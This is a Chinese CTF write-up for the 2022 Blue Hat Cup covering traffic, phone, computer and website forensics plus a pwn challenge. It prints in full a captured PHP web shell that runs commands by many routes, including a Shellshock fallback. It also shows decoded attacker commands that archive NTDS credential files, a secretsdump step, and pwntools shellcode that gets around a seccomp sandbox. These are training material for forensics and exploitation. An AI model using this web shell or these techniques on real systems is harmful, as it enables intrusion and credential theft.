2022蓝帽杯WriteUp

2022蓝帽杯WriteUp

东部赛区是真的恐怖

MISC

domainhacker

下载流量打开，跟踪HTTP流，可以看到执行了一段PHP代码

image-20220709090358000

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a =@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir =@ini_get("open_basedir");
if ($opdir) {
	$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr = preg_split("/;|:/", $opdir);
	@array_push($oparr, $ocwd, sys_get_temp_dir());
	foreach($oparr as $item) {
		if (!@is_writable($item)) {
			continue;
		}
		;
		$tmdir = $item."/.37120390cd";
		@mkdir($tmdir);
		if (!@file_exists($tmdir)) {
			continue;
		}
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr =@preg_split("/\\\\|\//", $tmdir);
		for ($i = 0; $i < sizeof($cntarr); $i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir", " /" );
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "d1588" ."7ac2af";
	echo @asenc($output);
	echo "bb1" ."ca7";
}
ob_start();
try {
	$p=base64_decode(substr($_POST["yee092cda97a62"], 2));
	$s=base64_decode(substr($_POST["q8fb9d4c082c11"], 2));
	$envstr=@base64_decode(substr($_POST["p48a6d55fac1b1"], 2));
	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d, 0, 1)=="/" ? "-c \" {$s}\"" : "/c \" {$s}\"";
	if (substr($d, 0, 1)=="/" ) {
		@putenv("PATH=".getenv(" PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
	} else {
		@putenv("PATH=".getenv(" PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
	}
	if (!empty($envstr)) {
		$envarr=explode("|||asline|||", $envstr);
		foreach($envarr as $v) {
			if (!empty($v)) {
				@putenv(str_replace("|||askey|||", "=" , $v));
			}
		}
	}
	$r="{$p} {$c}" ;
	function fe($f) {
		$d=explode(",",@ini_get("disable_functions"));
		if (empty($d)) {
			$d=array();
		} else {
			$d=array_map('trim', array_map('strtolower', $d));
		}
		return (function_exists($f) && is_callable($f) && !in_array($f, $d));
	}
	;
	function runshellshock($d, $c) {
		if (substr($d, 0, 1)=="/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
			if (strstr(readlink("/bin/sh"), "bash" ) !=FALSE) {
				$tmp=tempnam(sys_get_temp_dir(), 'as' );
				putenv("PHP_LOL=() { x; }; $c>$tmp 2>&1");
				if (fe('error_log')) {
					error_log("a", 1);
				} else {
					mail("a@127.0.0.1", "", "", "-bv");
				}
			} else {
				return False;
			}
			$output = @file_get_contents($tmp);
			@unlink($tmp);
			if ($output != "") {
				print($output);
				return True;
			}
		}
		return False;
	}
	;
	function runcmd($c) {
		$ret = 0;
		$d = dirname($_SERVER["SCRIPT_FILENAME"]);
		if (fe('system')) {
			@system($c, $ret);
		} elseif(fe('passthru')) {
			@passthru($c, $ret);
		} elseif(fe('shell_exec')) {
			print(@shell_exec($c));
		} elseif(fe('exec')) {
			@exec($c, $o, $ret);
			print(join("",$o));
		} elseif(fe('popen')) {
			$fp=@popen($c,'r');
			while(!@feof($fp)) {
				print(@fgets($fp,2048));
			}
			@pclose($fp);
		} elseif(fe('proc_open')) {
			$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
			while(!@feof($io[1])) {
				print(@fgets($io[1],2048));
			}
			while(!@feof($io[2])) {
				print(@fgets($io[2],2048));
			}
			@fclose($io[1]);
			@fclose($io[2]);
			@proc_close($p);
		} elseif(fe('antsystem')) {
			@antsystem($c);
		} elseif(runshellshock($d, $c)) {
			return $ret;
		} elseif(substr($d,0,1)!=" / " && @class_exists("COM")) {
			$w=new COM('WScript.shell');
			$e=$w->exec($c);
			$so=$e->StdOut();
			$ret.=$so->ReadAll();
			$se=$e->StdErr();
			$ret.=$se->ReadAll();
			print($ret);
		} else {
			$ret = 127;
		}
		return $ret;
	}
	;
	$ret=@runcmd($r." 2 >& 1");
	print ($ret!=0)?"ret = { $ret }":"";
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
&p48a6d55fac1b1=Tw&q8fb9d4c082c11=YNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg=&yee092cda97a62=6iY21k

可以看到最后一串，于是执行下面的PHP代码

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<?php
echo base64_decode(substr("YNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg",2));
//cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

然后可以dump出流量里的rar包

image-20220709090620155

密码为上面指令里面的-p后面的参数，并打开rar里面的txt

image-20220709090731094

得到NTLM：416f89c3a5deb1d398a1a1fce93862a7

即flag为：flag{416f89c3a5deb1d398a1a1fce93862a7}

domainhacker2

前面与1相同

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<?php
echo base64_decode(substr("suY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg==",2));
//cd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab

得到SYSTEM ntds，直接用impacket-secretsdump（-history）直接得到相应hash

image-20220709123647442

电子取证

手机取证_1

打开盘古石阅读器，搜索627604C2-C586-48C1-AA16-FF33C3022159

image-20220709163238355

导出后查看图片规格

image-20220709163324328

手机取证_2

简单查找就可以找到

（甚至能看到上面再约人大保健

（希望你已经成为了温柔的人

image-20220709163348305

计算机取证

计算机取证_1

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计算机取证_2

经过简单查找制作该内存镜像的进程是MagnetRAMCapture，在工具里找到进程得解

（这题甚至能看到这个电脑浏览了色情网站

计算机取证2

网站取证

网站取证_1

image-20220709164017718

可以查询到连接的密码为lanmaobei666

网站取证_2

不难找到Database.php下有password，找到以下函数，跑一下就是flag

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<?php
function my_encrypt(){
    $str = 'P3LMJ4uCbkFJ/RarywrCvA==';
    $str = str_replace(array("/r/n", "/r", "/n"), "", $str);
    $key = 'PanGuShi';
    $iv = substr(sha1($key),0,16);
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,"",MCRYPT_MODE_CBC,"");
    mcrypt_generic_init($td, "PanGuShi", $iv);
    $decode = base64_decode($str);
    $dencrypted = mdecrypt_generic($td, $decode);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $dencrypted = trim($dencrypted);
    return $dencrypted;
}

image-20220709164331032

网站取证_3

盲猜hash是MD5，vscode全局搜索md5

image-20220709164418581

直接看到key，经过验证是金额加密

网站取证_4

经过正则匹配，可以找到相应的sql记录

exp如下：

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<?php
function decrypt($str, $key = 'jyzg123456')
{   
    $str = base64_decode($str);
    $key = md5($key);
    $len = strlen($str);
    $data = '' ;
    for ($i = 0; $i < $len; $i++)
    {
        $data.=chr(ord($str{$i})-ord($key{$i})%256);
    }
    echo  $data;
}
decrypt($_GET['str']);
?>
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from hashlib import md5
from itsdangerous import base64_decode
import requests

b=[('2', 'RMB', 0.04, 2),
('3', 'RMB', 0.06, 3),
('4', 'RMB', 0.05, 4),
('5', 'RMB', 0.07, 5),
('6', 'RMB', 0.10, 6),
('7', 'RMB', 0.15, 7),
('8', 'RMB', 0.17, 8),
('9', 'RMB', 0.23, 9),
('10', 'RMB', 0.22, 10),
('11', 'RMB', 0.25, 11),
('12', 'RMB', 0.29, 12),
('13', 'RMB', 0.20, 13),
('14', 'RMB', 0.28, 14),
('15', 'RMB', 0.33, 15),
('16', 'RMB', 0.35, 16),
('17', 'RMB', 0.35, 17),
('18', 'RMB', 0.37, 18),]


a=[(142, '943617668819', 'GG币', 2, 5, 3, 'mZVymm9t'),
(144, '588047503620', 'GG币', 2, 5, 3, 'lpxqlXFo'),
(150, '597613045539', 'GG币', 2, 5, 3, 'l5xummto'),
(167, '368360644631', 'GG币', 2, 5, 3, 'm5Zwm3Bn'),
(187, '704008760599', 'GG币', 2, 5, 3, 'nJhtlGlm'),
(189, '695829830065', 'GG币', 2, 5, 3, 'm5tpmGtm'),
(197, '689591506416', 'GG币', 2, 5, 3, 'm5ptnGtu'),
(199, '296524099918', 'GG币', 2, 5, 3, 'mZlym25r'),
(209, '202884729901', 'GG币', 2, 5, 3, 'm5hpnHBu'),
(210, '955226714946', 'GG币', 2, 5, 3, 'm5prlm9u'),
(227, '421623628935', 'GG币', 2, 5, 3, 'nJlyl2hu'),
(245, '228102248133', 'GG币', 2, 5, 3, 'lptummhs'),
(263, '279069782487', 'GG币', 2, 5, 3, 'lpxrl21n'),
(317, '911539892864', 'GG币', 3, 5, 3, 'mZRpnHBs'),
(358, '940690024660', 'GG币', 3, 5, 3, 'mZpxm2lr'),
(371, '703759626723', 'GG币', 3, 5, 3, 'm5dtmGls'),
(405, '250826052511', 'GG币', 3, 5, 3, 'mpxvlnBv'),
(418, '699369204729', 'GG币', 3, 5, 3, 'mJpynHBt'),
(441, '110783516494', 'GG币', 3, 5, 3, 'nJZwm2lu'),
(448, '754012259548', 'GG币', 3, 5, 3, 'mpdtnWxq'),
(452, '999734985528', 'GG币', 3, 5, 3, 'nJdtlmpr'),
(457, '259291480194', 'GG币', 3, 5, 3, 'mZtymHBm'),
(468, '672136643928', 'GG币', 3, 5, 3, 'nJlslmpp'),
(486, '995091488940', 'GG币', 4, 5, 3, 'l5RunW1p'),
(493, '369911062367', 'GG币', 4, 5, 3, 'nJxplXFm'),
(494, '627743356329', 'GG币', 4, 5, 3, 'lZdpmm1s'),
(496, '341907225040', 'GG币', 4, 5, 3, 'mZZwnW9u'),
(541, '505274522158', 'GG币', 4, 5, 3, 'mJVrmmhp'),
(558, '465727738353', 'GG币', 4, 5, 3, 'lZZwl3Bs'),
(575, '801973338928', 'GG币', 4, 5, 3, 'm5xvm2hm'),
(588, '990446771976', 'GG币', 4, 5, 3, 'mpZslmpm'),
(595, '443752577679', 'GG币', 4, 5, 3, 'mZtrnGtp'),
(598, '274195438646', 'GG币', 4, 5, 3, 'lp1rm21t'),
(605, '389442476686', 'GG币', 4, 5, 3, 'nJxplmtp'),
(651, '840764463035', 'GG币', 5, 5, 3, 'l5twlXFq'),
(667, '575571956339', 'GG币', 5, 5, 3, 'lphqmm9s'),
(693, '369199269150', 'GG币', 5, 5, 3, 'm51wmG1q'),
(706, '299510640482', 'GG币', 5, 5, 3, 'mJlxlWto'),
(731, '660695028585', 'GG币', 5, 5, 3, 'lJ1vmXFq'),
(738, '856482910335', 'GG币', 5, 5, 3, 'mpVpmW5r'),
(756, '750042176098', 'GG币', 5, 5, 3, 'm5lrlGpr'),
(784, '651691106346', 'GG币', 5, 5, 3, 'mpxplm9u'),
(786, '255787712926', 'GG币', 5, 5, 3, 'lZpxnHFn'),
(791, '135691319557', 'GG币', 6, 5, 3, 'nJdymWpm'),
(819, '788431214978', 'GG币', 6, 5, 3, 'mJpum3Fo'),
(850, '851409238798', 'GG币', 6, 5, 3, 'lpRrmWto'),
(873, '260951952586', 'GG币', 6, 5, 3, 'lZtunXBv'),
(885, '231265027253', 'GG币', 6, 5, 3, 'lpprnWtt'),
(930, '262701249039', 'GG币', 6, 5, 3, 'lJdslnBr'),
(977, '184134048308', 'GG币', 7, 5, 3, 'lJZrnWpm'),
(979, '391202213852', 'GG币', 7, 5, 3, 'l5Zrm21m'),
(1004, '325182412061', 'GG币', 7, 5, 3, 'lJdul2hm'),
(1009, '145997703051', 'GG币', 7, 5, 3, 'mphylG9q'),
(1029, '812286624781', 'GG币', 7, 5, 3, 'lZhpm2pp'),
(1051, '932860292032', 'GG币', 7, 5, 3, 'lZ1qnW1s'),
(1074, '960800718320', 'GG币', 7, 5, 3, 'nJ1tlHFp'),
(1079, '309703180719', 'GG币', 7, 5, 3, 'mZxqm2tp'),
(1080, '867260227199', 'GG币', 7, 5, 3, 'mZdsm21t'),
(1088, '489129121639', 'GG币', 7, 5, 3, 'mpRvlG9o'),
(1094, '640176750934', 'GG币', 7, 5, 3, 'mJVqlmhv'),
(1097, '271657786070', 'GG币', 7, 5, 3, 'mJRwlHBq'),
(1119, '895632760061', 'GG币', 8, 5, 3, 'l5dtmWtt'),
(1164, '291179495316', 'GG币', 8, 5, 3, 'mZdylHFt'),
(1170, '588053366224', 'GG币', 8, 5, 3, 'l5RqlWxn'),
(1171, '308892834659', 'GG币', 8, 5, 3, 'mZ1um3Fs'),
(1181, '712419993689', 'GG币', 8, 5, 3, 'lJ1rnWhu'),
(1185, '240497645432', 'GG币', 8, 5, 3, 'm5pulWhv'),
(1193, '519564426335', 'GG币', 8, 5, 3, 'lptrnW1u'),
(1218, '178274213935', 'GG币', 8, 5, 3, 'm5xynWxn'),
(1243, '621845480580', 'GG币', 8, 5, 3, 'lpRynGtr'),
(1246, '984927062919', 'GG币', 8, 5, 3, 'mpxulGlm'),
(1255, '508590678286', 'GG币', 8, 5, 3, 'nJdslm9r'),
(1261, '165679472688', 'GG币', 8, 5, 3, 'lJhslHBq'),
(1272, '398566701812', 'GG币', 8, 5, 3, 'nJpwnWhu'),
(1299, '391669188513', 'GG币', 9, 5, 3, 'mptql2tv'),
(1328, '308977433705', 'GG币', 9, 5, 3, 'l51xmmlp'),
(1347, '128173141307', 'GG币', 9, 5, 3, 'mZVymXFn'),
(1375, '315017222711', 'GG币', 9, 5, 3, 'lJhqnW5q'),
(1390, '698730100843', 'GG币', 9, 5, 3, 'm5ppmGpr'),
(1394, '454661923665', 'GG币', 9, 5, 3, 'mZlqm21t'),
(1446, '770844458971', 'GG币', 9, 5, 3, 'mpZslWxt'),
(1461, '336049994728', 'GG币', 10, 5, 3, 'mJ1pnHFm'),
(1503, '900217499326', 'GG币', 10, 5, 3, 'l5drlXBp'),
(1515, '541334504409', 'GG币', 10, 5, 3, 'mJlvmW1u'),
(1520, '296235199037', 'GG币', 10, 5, 3, 'mZtxlG5t'),
(1522, '961454505603', 'GG币', 10, 5, 3, 'nJtsnHFn'),
(1540, '660586887840', 'GG币', 10, 5, 3, 'l5Rvm29o'),
(1542, '521373859771', 'GG币', 10, 5, 3, 'm5xvlWxv'),
(1558, '690490467926', 'GG币', 10, 5, 3, 'm5Zrl2xm'),
(1615, '915839175755', 'GG币', 11, 5, 3, 'mZlwlG1u'),
(1667, '731272590033', 'GG币', 11, 5, 3, 'nJpvlWtr'),
(1676, '266051494236', 'GG币', 11, 5, 3, 'mJxym25s'),
(1677, '952748053664', 'GG币', 11, 5, 3, 'lpVqnWxv'),
(1721, '432188794976', 'GG币', 11, 5, 3, 'mZVvl3Fq'),
(1730, '923396563975', 'GG币', 11, 5, 3, 'lZVtlW5m'),
(1731, '188214551206', 'GG币', 11, 5, 3, 'lZRqlGhn'),
(1737, '562343715793', 'GG币', 11, 5, 3, 'nJxqm2hn'),
(1788, '723775062575', 'GG币', 11, 5, 3, 'nJVtl21s'),
(1814, '437640662866', 'GG币', 12, 5, 3, 'lJdumWlq'),
(1847, '261181748262', 'GG币', 12, 5, 3, 'mJtxmGtp'),
(1866, '520680592708', 'GG币', 12, 5, 3, 'mZxsnHFv'),
(1893, '846224640296', 'GG币', 12, 5, 3, 'lpdtl2xn'),
(1901, '526823225486', 'GG币', 12, 5, 3, 'mphqlm5p'),
(1919, '293881600039', 'GG币', 12, 5, 3, 'lJdxlGpn'),
(1986, '252943398463', 'GG币', 13, 5, 3, 'lpVvlHFu'),
(2050, '841971039165', 'GG币', 13, 5, 3, 'lJhvmHBn'),
(2051, '113568559627', 'GG币', 13, 5, 3, 'l5xunGtv'),
(2059, '884517377766', 'GG币', 13, 5, 3, 'lZRul2pt'),
(2065, '429478659168', 'GG币', 13, 5, 3, 'mpdqnGxu'),
(2081, '701817809209', 'GG币', 13, 5, 3, 'l5Zxlmho'),
(2093, '648527268061', 'GG币', 13, 5, 3, 'lJppmWhq'),
(2118, '346397347560', 'GG币', 13, 5, 3, 'nJVylWpp'),
(2121, '598070757264', 'GG币', 13, 5, 3, 'm5VxnWlr'),
(2144, '385475471817', 'GG币', 14, 5, 3, 'lpdsnGtq'),
(2152, '860407002245', 'GG币', 14, 5, 3, 'mZ1tnGpt'),
(2175, '876730476520', 'GG币', 14, 5, 3, 'mJVqmmtq'),
(2226, '705271590445', 'GG币', 14, 5, 3, 'l5hslWhm'),
(2260, '778005846695', 'GG币', 14, 5, 3, 'lZZtl21r'),
(2265, '429472355879', 'GG币', 14, 5, 3, 'nJlumGlm'),
(2279, '837352974915', 'GG币', 14, 5, 3, 'lJhsmW9t'),
(2304, '206040245526', 'GG币', 15, 5, 3, 'lZZym25s'),
(2347, '214154454225', 'GG币', 15, 5, 3, 'l5tpnHBt'),
(2353, '539433927736', 'GG币', 15, 5, 3, 'nJVunG1q'),
(2371, '614328206854', 'GG币', 15, 5, 3, 'mJdtlHFu'),
(2373, '744073817220', 'GG币', 15, 5, 3, 'mpVtlnFp'),
(2386, '472576318606', 'GG币', 15, 5, 3, 'mplrnG1t'),
(2393, '905356397967', 'GG币', 15, 5, 3, 'mJ1ylHBr'),
(2408, '202047690664', 'GG币', 15, 5, 3, 'nJhynG5m'),
(2419, '660557237414', 'GG币', 15, 5, 3, 'mplymG1r'),
(2518, '284536429033', 'GG币', 16, 5, 3, 'lJtxlGxo'),
(2537, '846259865921', 'GG币', 16, 5, 3, 'lpRxnGlm'),
(2539, '914271862202', 'GG币', 16, 5, 3, 'mZxwnG5s'),
(2569, '230868458507', 'GG币', 16, 5, 3, 'mZptnWpn'),
(2592, '580327294210', 'GG币', 16, 5, 3, 'mJZylGxq'),
(2601, '113725129935', 'GG币', 16, 5, 3, 'mZZvm3Fo'),
(2614, '125295831828', 'GG币', 17, 5, 3, 'lJdxnW9t'),
(2622, '304246628524', 'GG币', 17, 5, 3, 'lZtxmXFv'),
(2636, '949878301272', 'GG币', 17, 5, 3, 'nJxtlXFm'),
(2642, '236806705755', 'GG币', 17, 5, 3, 'mJZumW1r'),
(2644, '219250916132', 'GG币', 17, 5, 3, 'nJ1tmG1p'),
(2653, '856797267940', 'GG币', 17, 5, 3, 'mplslmpu'),
(2709, '829562956572', 'GG币', 17, 5, 3, 'lJZxlG5p'),
(2751, '904086289177', 'GG币', 17, 5, 3, 'nJtxmXBq'),
(2796, '568416612736', 'GG币', 18, 5, 3, 'lZdxmmtq'),
(2817, '987519535765', 'GG币', 18, 5, 3, 'lJdrlG1o'),
(2880, '657461012245', 'GG币', 18, 5, 3, 'mpZtmmlm'),
(2906, '278546157230', 'GG币', 18, 5, 3, 'mJVxnGpm'),
(2921, '999235838187', 'GG币', 18, 5, 3, 'mJVwmWxu'),
(2935, '861319935688', 'GG币', 18, 5, 3, 'mplslWps'),]
sum=0
def fun(sttr,key=b'jyzg123456'):
    return float(requests.get("http://192.168.0.222/test.php?str="+sttr).text.strip())


for i in a:
    sum+=b[i[3]-2][2]*fun(i[6])
    # print(fun(i[6]))
print(sum)

#15758353.760000002

得到结果 15758353.76

PWN

EscapeShellcode

打开，发现sandbox，然后只给了1，0 （读写权限）

image-20220709165151999

image-20220709165217257

后面的go()写shellcode到&flag的地方系统调用输出

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from pwn import *
context(log_level="debug",arch="amd64")

io=process("./escape_shellcode")

#io_base = io.libs()[io.cwd + io.argv[0].strip(b'.').decode()]
#offset=0x01367
#gdb.attach(io,"b * "+str(io_base+offset))
#pause()

payload="""
	mov rdi, 1
	mov rdx, 0x400
	lea rsi, [rip-0x100f]
	L1:
	sub rsi, 0x400
	mov rax, 1
	syscall
	cmp rax, 0
	jl L1
	and rsi, 0xfffffffffffff000
	add rsi, 0x120
	mov rdx, 0x30
	mov rax, 1
	syscall
"""

payload=asm(payload)

io.sendline(payload)

io.interactive()

CTF

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